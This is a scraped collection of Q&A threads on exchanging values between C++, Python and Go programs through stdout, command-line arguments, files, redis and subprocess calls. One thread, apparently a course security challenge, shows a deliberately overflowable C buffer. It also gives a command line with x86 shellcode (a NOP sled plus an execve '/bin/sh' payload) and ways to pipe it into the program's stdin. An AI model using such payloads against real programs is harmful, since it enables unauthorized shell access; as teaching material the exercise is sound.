Send value back from c++ to python - python

I guess my problem is fairly straight-forward, however I can't find a way to solve it. My process is the following:
I run a Python script: Test.py.
Within that script, I am calling a c++ program.
Test.py:
RunCprogram = "./Example"
os.system(RunCprogram)
I want that ./Example executable to return a double that can be used later in my Python script. What is the best way to do that?

First of all, make sure Example outputs the desired data to stdout. If it's not, you can do nothing about it.
Then use the Python's subprocess module.
import subprocess
res=subprocess.check_output(["./Example"], universal_newlines=True)
If res contains a newline at the end, remove it with res.strip(). Finally, cast res to float with float(res).

Here's a small example based on #ForceBru answer:
example.cpp, compile with g++ example.cpp -o example
#include <iostream>
int main() {
std::cout << 3.14159 ;
return 0;
}
example.py
#!/usr/local/bin/python
import subprocess
res = subprocess.check_output(["./example"], universal_newlines=True)
print "The value of 2*" + u"\u03C0" + " is approximately " + str(2*float(res))

Related

How to send and receive data (and / or data structures) from a C ++ script to a Python script?

I am working on a project that needs to do the following:
[C++ Program] Checks a given directory, extracts all the names (full paths) of the found files and records them in a vector<string>.
[C++ Program] "Send" the vector to a Python script.
[Python Script] "Receive" the vector and transform it into a List.
[Python Script] Compares the elements of the List (the paths) against the records of a database and removes the matches from the List (removes the paths already registered).
[Python Script] "Sends" the processed List back to the C++ Program.
[C++ Program] "Receives" the List, transforms it into a vector and continues its operations with this processed data.
I would like to know how to send and receive data structures (or data) between a C ++ Script and a Python Script.
For this case I put the example of a vector transforming into a List, however I would like to know how to do it for any structure or data in general.
Obviously I am a beginner, that is why I would like your help on what documentation to read, what concepts should I start with, what technique should I use (maybe there is some implicit standard), what links I could review to learn how to communicate data between Scripts of the languages ​​I just mentioned.
Any help is useful to me.
You could check out redis. It can be used as a message broker between programs. https://redis.io/
They have a clients for many langues including c++ and python.
https://redis.io/clients
You can set up channels for each program to publish messages through and have the other program subscribe to that channel to receive those messages.
Check out the pubsub part of the documentation: https://redis.io/topics/pubsub
You can pass arguments to any process/script no matter what language they are written in.
In C++ they are represented as argc (number of arguments) and argv (actual arguments).
#include <iostream>
int main(int argc, char** argv) {
std::cout << "Have " << argc << " arguments:" << std::endl;
for (int i = 0; i < argc; ++i) {
std::cout << argv[i] << std::endl;
}
}
For example, if you're using g++ as your compiler. Then running:
g++ file.cpp -o main
./main hello world
Should output:
Have 3 arguments:
hello
world
Note that size of the arguments is 3 although you're passing hello and world only, it's because the first element in argv is always the name of your program.
Its equivalent in Python would be:
import sys
print('Have ' + len(sys.argv) + 'arguments:')
print("Argument List:", str(sys.argv))
If I were you, I would start by serializing the vector/list and pass it as an argument back and forth between the Python and C++ processes as above.
If the idea is to execute the python script from the c++ process, then the easiest would be to design the python script to accept input_file and output_file as arguments and the c++ program should write the input_file, start the script and read the output_file.
For simple structures like list-of-strings, you can simply write them as text files and share, but for more complex types, you can use google-protocolbuffers to do the marshalling/unmarshalling.
if the idea is to send/receive data between two already stared process, then you can use the same protocol buffers to encode data and send/receive via sockets between each other. Check gRPC

Sending processor rank generated using C++ and Open MPI to Python script

I am a beginner C++ and MPI user. I am working in an HPC environment and need to do the following:
Use a C++ code to get the processor rank.
Pass rank to a bash script.
Feed a python script this rank value and run it (from the bash script).
This is the code I have written:
C++ (file name- cpp2bash_test.cpp):
#include <iostream>
#include <mpi.h>
int main(int argc, char** argv)
{
MPI_Init(&argc, &argv);
int size, rank;
MPI_Status status;
MPI_Comm_size(MPI_COMM_WORLD, &size);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
cout << rank << endl;
MPI_Finalize();
return 0;
}
I compile the file as:
mpicxx -g -std=c++14 -o PRank cpp2bash_test.cpp
Bash:
#!/bin/sh
result=$(./PRank)
python3 bash2py_test.py $result
Finally, I submit the bash script as a PBS job. Here is the output file:
The line "Argument accepted= " is from the python script which simply accepts the rank and prints it.
To better understand why the python script gets a weird value, I changed the shell script to not accept any input from the C++ code. Instead, the C++ code simply printed its output. This is a partial screenshot of what I see in the output file:
The Python file output(not shown in the second image) is still similar to the one shown previously.
I googled for that warning but I did not really understand much of what I got to read. In fact, I don't even know if what I am reading is relevant to my problem.
I suspect that the full output from the C++ code contains the warning which, when passed to Python, gets truncated to just those weird values inside the square brackets. How do I remove these warnings and pass the right values to the python script?
Note that for most queue systems, there are system variables being set that indicate process rank. Once inside your script (that is started as MPI) you should be able to get it from the environment (you have to look into your queue system manual).
Another way is to produce some wrapped log and grep for the info, e.g.:
cout << "RANK:" << rank << endl;
Then, you can do something like this:
result=$(echo "RANK:2" | grep RANK | cut -f2 -d':')
echo $result
in your case it will be
result=$(./PRank | grep RANK | cut -f2 -d':')
echo $result

How to use a script to control the program's input?

I need to control the input of a simple program written in C. I'm working on a Linux virtual machine (it's a computer security challenge) and I'm using GDB to find a good exploit (in this case it's a buffer overflow).
Here's the code:
static const char KEY[] = "BLOCKCHAIN";
void vuln(){
int i;
char buffer[616];
int output = fread(buffer, 1, 4*1024, stdin);
for (i = 0; i < 616; i++) {
buffer[i] ^= KEY[i % sizeof(KEY)];
}
printf("%s\n", buffer);
}
int main(int argc, char *argv[]){
vuln();
exit(0);
}
The line I want to cover is int output = fread(buffer, 1, 4*1024, stdin);. Is there a way to control the input of that program (so the input stream) with a simple script? I want to do something like:
./vuln_program `python -c 'print("\x90"*923+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x48\xbf\xff\xff")'`
This works if It were an argument of the main but unfortunately I'm inside the vuln() function and can't do this. Professors suggested to use: Python's subprocess module, or read\write from\to a named pipe (mkfifo), or the process module of theuse the pwntools Python library but I don't know how to use them in this scenario.
Thanks in advance.
You can do something like
$ python -c "exploit code" | ./vuln
Everything generated by python will be in arguments not in stdin. If you need to pass something to stdin you need to do: ./vuln_program < file_with_stdin_data
it doesn't need python at all to put some defined data to input stream, you can have data in normal file.
You can use python subprocess module to communicate with your script. Then you need to create subprocess and write something to its stdin. Check for python doc this:
As #blinkofaneye said, the simplest solution is using $ python -c "exploit code" | ./vuln
If you have to do it inside GDB (like me) as already suggested in this question Run a python command with “run” on GDB, the trick is to enter GDB and than use "Here strings":
run <<< $(python -c "print('exploit code')")

Calling a C/C++ code from Python with an argument

I read similar posts but nothing specific to this. Or maybe my logic is incorrect and you can correct me please.
What I'm trying to do:
Write python code, that then calls an already compiled C or C++ code. But how would I pass an argument to that C/C++ script given that it's already been compiled?
I have a program in Python that manipulates an Excel file. And then at some point I need to search through, append, and create an array of 10,000 cells. I figured C/C++ would make this faster since python is taking some time to do that.
Help please.
Let's say we want to write a Python script that acts as a wrapper on top of a C binary and passes arguments from the terminal to the C binary. first, create a test.c C program as follows:
#include <stdio.h>
int main(int argc, char *argv[])
{
if(argc > 1)
{
int i;
printf("C binary: ");
for(i = 0; i < argc; i++)
printf("%s ", argv[i]);
printf("\n");
}
else
printf("%s: No argument is provided!\n", argv[0]);
return(0);
}
then compile it using:
gcc -o test test.c
and run it for two dummy arguments using:
./test arg1 arg2
Now, going back to your question. How I could pass arguments from Python to a C binary. First you need a Python script to read the arguments from the terminal. The test.py would do that for you:
import os
import sys
argc = len(sys.argv)
argv = sys.argv
if argc > 2:
cmd = './'
for i in range(1,argc):
cmd = cmd + argv[i] + ' '
if os.path.isfile(argv[1]):
print('Python script: ', cmd)
os.system(cmd)
else:
print('Binary file does not exist')
bin = 'gcc -o ' + argv[1] + ' '+ argv[1] + '.c'
print(bin)
os.system(bin)
if os.path.isfile(argv[1]):
os.system(cmd)
else:
print('Binary source does not exist')
exit(0)
else:
print('USAGE: python3.4', argv[0], " BINARY_FILE INPUT_ARGS");
exit(0)
Having test.c and test.py in the same directory. Now, you can pass arguments from the terminal to the test C binary using:
python3.4 test.py test arg1 arg2
Finally, the output would be:
Python script: ./test arg1 arg2
C binary: ./test arg1 arg2
Two last remarks:
Even if you don't compile the source code, the test.py will look for the test.c source file and try to compile it.
If you don't want to pass arguments from the terminal, you can always define the arguments in the Python script and pass them to the C binary.

Calling Python function from Go and getting the function return value

I am writing a Go program. From this Go program, I would like to call a Python function defined in another file and receive the function's return value so I can use it in subsequent processing in my Go program. I am having trouble getting any returned data back in my Go program though. Below is a minimum example of what I thought would work, but apparently doesn't:
gofile.go
package main
import "os/exec"
import "fmt"
func main() {
fmt.Println("here we go...")
program := "python"
arg0 := "-c"
arg1 := fmt.Sprintf("'import pythonfile; print pythonfile.cat_strings(\"%s\", \"%s\")'", "foo", "bar")
cmd := exec.Command(program, arg0, arg1)
fmt.Println("command args:", cmd.Args)
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Concatenation failed with error:", err.Error())
return
}
fmt.Println("concatentation length: ", len(out))
fmt.Println("concatenation: ", string(out))
fmt.Println("...done")
}
pythonfile.py
def cat_strings(a, b):
return a + b
If I call go run gofile I get the following output:
here we go...
command args: [python -c 'import pythonfile; print pythonfile.cat_strings("foo", "bar")']
concatentation length: 0
concatenation:
...done
A few notes:
I'm using the -c flag in the Python invocation so I can call the function cat_strings directly. Assume cat_strings is part of a Python file full of utility functions that are used by other Python programs, hence why I don't have any if __name__ == __main__ business.
I don't want to modify the Python file to print a + b (instead of return a + b); see the prior point about the function being part of a set of utility functions that ought to be callable by other Python code.
The cat_strings function is fictional and for demonstration purposes; the real function is something I don't want to simply reimplement in Go. I really am interested in how I can call a Python function from Go and get the return value.
I managed to have some working code for this by simply removing the quote around the command itself:
package main
import "fmt"
import "os/exec"
func main() {
cmd := exec.Command("python", "-c", "import pythonfile; print pythonfile.cat_strings('foo', 'bar')")
fmt.Println(cmd.Args)
out, err := cmd.CombinedOutput()
if err != nil { fmt.Println(err); }
fmt.Println(string(out))
}
And sure enough, in the source, you have this function (for Windows, at least, I don't know if that works for other OSes):
// EscapeArg rewrites command line argument s as prescribed
// in http://msdn.microsoft.com/en-us/library/ms880421.
// This function returns "" (2 double quotes) if s is empty.
// Alternatively, these transformations are done:
// - every back slash (\) is doubled, but only if immediately
// followed by double quote (");
// - every double quote (") is escaped by back slash (\);
// - finally, s is wrapped with double quotes (arg -> "arg"),
// but only if there is space or tab inside s.
func EscapeArg(s string) string { ...
So your code is ending up passing the following command line call:
$ python -c "'import pythonfile; print pythonfile.cat_strings(\\"foo\\", \\"bar\\")'"
Which, if tested, evaluates to a string and returns nothing, hence the 0-length output.

Categories

Resources